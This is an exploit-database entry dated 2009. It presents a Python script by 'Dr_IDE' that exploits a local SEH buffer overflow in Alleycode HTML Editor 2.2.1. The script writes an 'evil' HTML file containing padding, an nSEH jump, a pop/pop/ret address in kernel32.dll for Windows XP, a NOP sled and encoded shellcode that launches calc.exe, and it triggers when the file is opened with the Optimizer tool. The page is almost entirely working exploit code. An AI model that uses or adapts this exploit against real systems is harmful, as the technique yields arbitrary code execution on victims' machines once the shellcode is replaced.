Alleycode HTML Editor 2.2.1 BoF

🗓️ 29 Oct 2009 00:00:00Reported by Dr_IDEType

zdt🔗 0day.today👁 33 Views

Alleycode HTML Editor 2.2.1 Buffer Overflo

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Alleycode HTML Editor 2.2.1 BoF
===============================



# Title: Alleycode HTML Editor 2.2.1 BoF
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Dr_IDE
# Published: 2009-10-29
# Verified: yes

view source
print?
#!/usr/bin/env python
 
####################################################################
#
# Alleycode HTML Editor 2.21 Local (.HTML) Overflow Exploit (SEH)
# Coded By: Dr_IDE
# Found By: Rafael de Sousa
# Tested On:    XPSP0 (SP3 doesn't have any usable P/P/R)
# Download: www.alleycode.com
#
####################################################################
 
# calc.exe - 303 bytes
# Encoder - alpha/upper
# EXITFUNC - SEH
sc = (
"\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49"
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
"\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47"
"\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c"
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a"
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46"
"\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45"
"\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c"
"\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c"
"\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44"
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c"
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46"
"\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50"
"\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44"
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45"
"\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43"
"\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b"
"\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43"
"\x51\x42\x4c\x42\x43\x43\x30\x41\x41");
 
head = ("<html>\n<title>");     # Don't touch the html stuff.
buff = ("@" * 504);         # Overwrite SEH Pointer
nseh = ("\xEB\x64\x90\x90");        # Need to pass some garbage in stack
retn = ("\x0E\x03\xEB\x77");        # P/P/R Kernel32.dll XPSP0
nops = ("\x90" * 116);          # SLIIIIIIIIIIIIIIIIIIIIIIIIIIIIIDE!
junk = ("\x40" * (688 - len(sc)));  # Looks like 688 bytes for Shellcode
foot = ("</title>\n<body>Calculator goes BOOM!</body>\n</html>\n");
 
sploit = (head + buff + nseh + retn + nops + sc + junk + foot);
 
try:
    print ("\n\n#######################################################");
    print ("# Alleycode HTML Editor 2.21 Local HTML Buffer Overflow");
    print ("# By: Dr_IDE");
    print ("# pocoftheday.blogspot.com");
    print ("#######################################################\n");
    print ("[*] Writing evil HTML file.");
    f1 = open("Dr_IDEs_Evil_Homepage.html","w");
    f1.write(sploit);
    f1.close();
    print ('[*] Success. Load File and Click "Tools -> Optimizer".');
 
except:
    print ("[-] Error, could not write the file.");



#  0day.today [2018-02-06]  #

29 Oct 2009 00:00Current

6.8Medium risk

Vulners AI Score6.8